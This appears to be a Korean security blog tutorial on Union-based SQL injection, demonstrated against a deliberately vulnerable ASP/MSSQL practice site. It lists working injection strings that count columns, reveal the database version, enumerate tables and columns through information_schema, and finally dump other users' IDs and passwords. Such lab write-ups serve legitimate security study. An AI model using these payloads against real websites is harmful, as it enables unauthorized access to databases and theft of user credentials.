KOROMOON

착한 사마리아인이 되고 싶습니다.

1/03/2020

Union SQL Injecion


작성자 : KOROMOON (koromoon@gmail.com)
작성일 : 2012-09-17



( 1 ) Union SQL Injecion

2개 이상의 쿼리를 요청하여 결과를 얻는 UNION 이라는 SQL 연산자를 이용한 SQL Injecion 공격을 말하며 공격자는 이 연산자를 이용하여 원래의 요청에 한 개의 추가 쿼리를 삽입하여 정보를 얻어냄.
전제 조건 : 컬럼의 갯수가 같아야 하고 데이터 형식도 같아야 함.



( 2 ) UNION 연산자

< 예제 테이블 >

< UNION 연산자를 이용한 구문의 결과값 >

UNION 연산자를 사용하여 둘 이상의 SELECT문 결과를 단일 결과 집합으로 결합할 수 있음.
UNION 연산자를 사용하여 결합된 결과 집합은 모두 같은 구조를 가져야 함. 즉, 컬럼의 갯수가 같아야 하며 해당 결과 집합 컬럼은 호환되는 데이터 형식을 가져야 함.
UNION의 결과 집합 컬럼 이름은 UNION의 첫 번째 SELECT문의 결과 집합에 있는 컬럼 이름과 동일함. 다른 SELECT문의 결과 집합 컬럼 이름은 무시됨.
기본적으로 UNION 연산자는 결과 집합에서 중복 행을 제거함.
참고로 ALL 옵션을 사용하면 결과에 모든 행이 포함되고 중복 행은 제거되지 않음.

참고 사이트 : http://msdn.microsoft.com/ko-kr/library/ms191141(v=sql.105).aspx



( 3 ) SQL Injection에 주로 사용되는 문자열

문자열

설명

'

문자 데이터 구분 기호

;

쿼리 구분 기호

--, #

해당 라인 주석 구분 기호

--    Oracle, MSSQL

#     MySQL

/* */

/* */ 사이 구문 주석

| |

문자 연결 (Oracle 에만 해당)




( 4 ) Union SQL Injection 공격 실습환경

< 모의해킹 홈페이지 >

"IT CookBook 정보 보안 개론과 실습 - 인터넷 해킹과 보안" 책의 소스로 간단히 모의해킹 홈페이지를 만듬.
ASP + IIS + MSSQL 2000 에서 실습함.

구분

설명

OS

Windows 2000 SP4

Web Language

ASP

WAS

IIS

DB

MSSQL 2000

< 모의해킹 홈페이지 기본 정보 >

열 이름

데이터 형식

길이

Null 허용

기본키 설정

id

int

4

 

설정

user_id

varchar

20

 

 

name

varchar

20

 

 

user_pw

varchar

20

 

 

nickname

varchar

20

 

 

zipcode

varchar

50

허용

 

address1

varchar

50

허용

 

address2

varchar

50

허용

 

email

varchar

50

허용

 

homepage

varchar

50

허용

 

< member 테이블 구조 >

열 이름

데이터 형식

길이

Null 허용

기본키 설정

zipcode_id

varchar

10

 

 

zipcode

varchar

30

 

 

sido

varchar

20

허용

 

gugun

varchar

40

허용

 

dong

varchar

40

허용

 

bunji

varchar

40

허용

 

ho

varchar

40

허용

 

< zipcode 테이블 구조 >



( 5 ) Union SQL Injection 공격 실습

< 우편번호 검색창 >

< 검색창 관련 ASP 코드 >

Union SQL Injecion 공격을 실행시킬 곳을 찾아야 함. 주로 우편번호 검색창 등과 같이 파라미터 길이가 비교적 긴 검색 결과를 보여줄 수 있는 페이지에서 실행함. 최종적으로 다양한 공격 코드들을 실행시켜 다른 사용자의 ID, PW를 알아내는 게 목표로 정함. 위 우편번호 검색창을 보면 컬럼 7개 중에 1번 컬럼과 7번 컬럼은 출력이 안 되는 걸 알 수가 있으며 이점을 유념해서 Union SQL Injecion 공격을 실행할 때 유념해야 함.

먼저 컬럼 갯수를 알아내야 함. 아래 공격 코드들을 하나씩 실행시켜보면 인후동' order by 8-- 부분에서 오류가 뜸.
ORDER BY 절을 사용하여 행을 정렬해서 결과값을 보여줌. SELECT 문의 마지막에 작성되며 정렬 조건으로 표현식, 별칭 또는 컬럼 위치를 지정해야 함. 여기서 숫자를 넣어서 정렬을 할 수가 있는데 숫자는 해당 순서의 컬럼을 뜻하며 그 순서의 컬럼으로 정렬하겠다는 뜻임. 그래서 컬럼의 갯수보다 더 높은 숫자를 넣으면 오류가 뜸. 그 오류를 통해서 컬럼의 갯수를 파악할 수 있음.
검색창 관련 테이블(zipcode)의 컬럼 갯수가 7개임.

인후동' order by 1--
인후동' order by 2--
인후동' order by 3--
인후동' order by 4--
인후동' order by 5--
인후동' order by 6--
인후동' order by 7--
인후동' order by 8-- <--- 에러

< 인후동' order by 8-- 공격 코드 넣을 때 에러페이지 노출 >

DB 정보를 알아내야함. DB 종류와 버전 별로 공격 코드에 차이가 있으며 그에 맞는 공격 코드로 공격을 해야 함.
Union SQL Injection 공격 시 반드시 컬럼의 갯수가 같아야 하며 데이터 형식도 같아야 함.
원하는 정보를 출력할 컬럼에 원하는 데이터 값을 넣고 나머지 컬럼에는 쓰레기 값을 넣음.
(참고로 테스트 중인 우편번호 검색창 출력 화면에는 1번 컬럼과 7번 컬럼이 출력이 안 됨)
아래의 공격 코드를 실행 시 DB 정보가 출력됨.

인후동' union select '1', '2', '3', '4', '5', @@version, '7' --

< WAS 정보 노출 >

다음 공격에 앞서 정보 스키마 뷰를 이해해야 함.

정보 스키마 뷰는 SQL Server 메타데이터의 내부 시스템 테이블에 종속되는 않는 뷰를 제공함.
기본 시스템 테이블이 많이 변경되더라도 응용 프로그램이 제대로 작동할 수 있도록 함.
정보 스키마 뷰는 INFORMATION_SCHEMA 라는 특수한 스키마를 정의함.
여기서 메타데이터(metadata)는 데이터를 위한 데이터를 말하며 구조화된 정보를 분석, 분류하고 부가적 정보를 추가하기 위해 그 데이터 뒤에 함께 따라가는 정보를 말함.
정보 스키마 뷰에 대해서 자세히 알고 싶다면 아래 사이트를 참고 바람.

INFORMATION_SCHEMA.TABLES 와 TABLE_NAME 를 가지고 테이블 정보를 알아냄.
INFORMATION_SCHEMA.TABLES 은 현재 사용자가 사용 권한을 가진 데이터베이스의 각 테이블당 한개의 행을 반환함. 그리고 TABLE_NAME 은 테이블 이름을 말함.

information_schema.tables 와 table_name 을 이용한 공격 코드는 아래와 같음.
총 6개의 테이블이 노출되었으며 member 테이블이 사용자 정보일 거라 추측됨.

인후동' union select '1', '2', '3', '4', '5', table_name, '7' from information_schema.tables--

< 테이블 정보 노출 >

얻은 테이블 정보를 얻었으면 INFORMATION_SCHEMA.COLUMNS 와 COLUMN_NAME 을 가지고 컬럼 정보를 알아냄.
INFORMATION_SCHEMA.COLUMNS 는 현재 사용자가 액세스할 수 있는 열마다 한 행을 반환함. 그리고 COLUMN_NAME 은 열 이름을 말함.

information_schema.columns 와 column_name 을 이용한 공격 코드는 아래와 같음.
총 10개의 컬럼이 노출되었으며 user_id, user_pw 가 각각 ID, PW 라 추측됨.

인후동' union select '1', '2', '3', '4', '5', column_name, '7' from information_schema.columns where table_name='member'--

< member 테이블의 컬럼 노출 >

이제까지 얻은 정보를 가지고 다른 사용자의 ID, PW를 알아냄.
공격코드는 아래와 같음.

인후동' union select '1', '2', '3', '4', user_id, user_pw, '7' from member--

< 사용자 정보 노출 >



도움이 될 만한 사이트 : 

MYSQL + MSSQL + ORACEL SQL Injection Knowledge Base
http://www.websec.ca/kb/sql_injection#MySQL_Default_Databases

pentestmonkey - SQL Injection Cheat Sheets
http://pentestmonkey.net/category/cheat-sheet/sql-injection

Penetration Tesing Framework
http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html

pentest-bookmarks
http://code.google.com/p/pentest-bookmarks/wiki/BookmarksList

n3015m님의 블로그
http://n3015m.tistory.com/



============================================================
본 게시물은 KOROMOON 님께서 작성하였으며 CCL (Creative Commons License) 에서 "저작자표시-비영리-동일조건변경허락" 이용조건으로 자료를 이용하셔야 합니다.

댓글 없음:

댓글 쓰기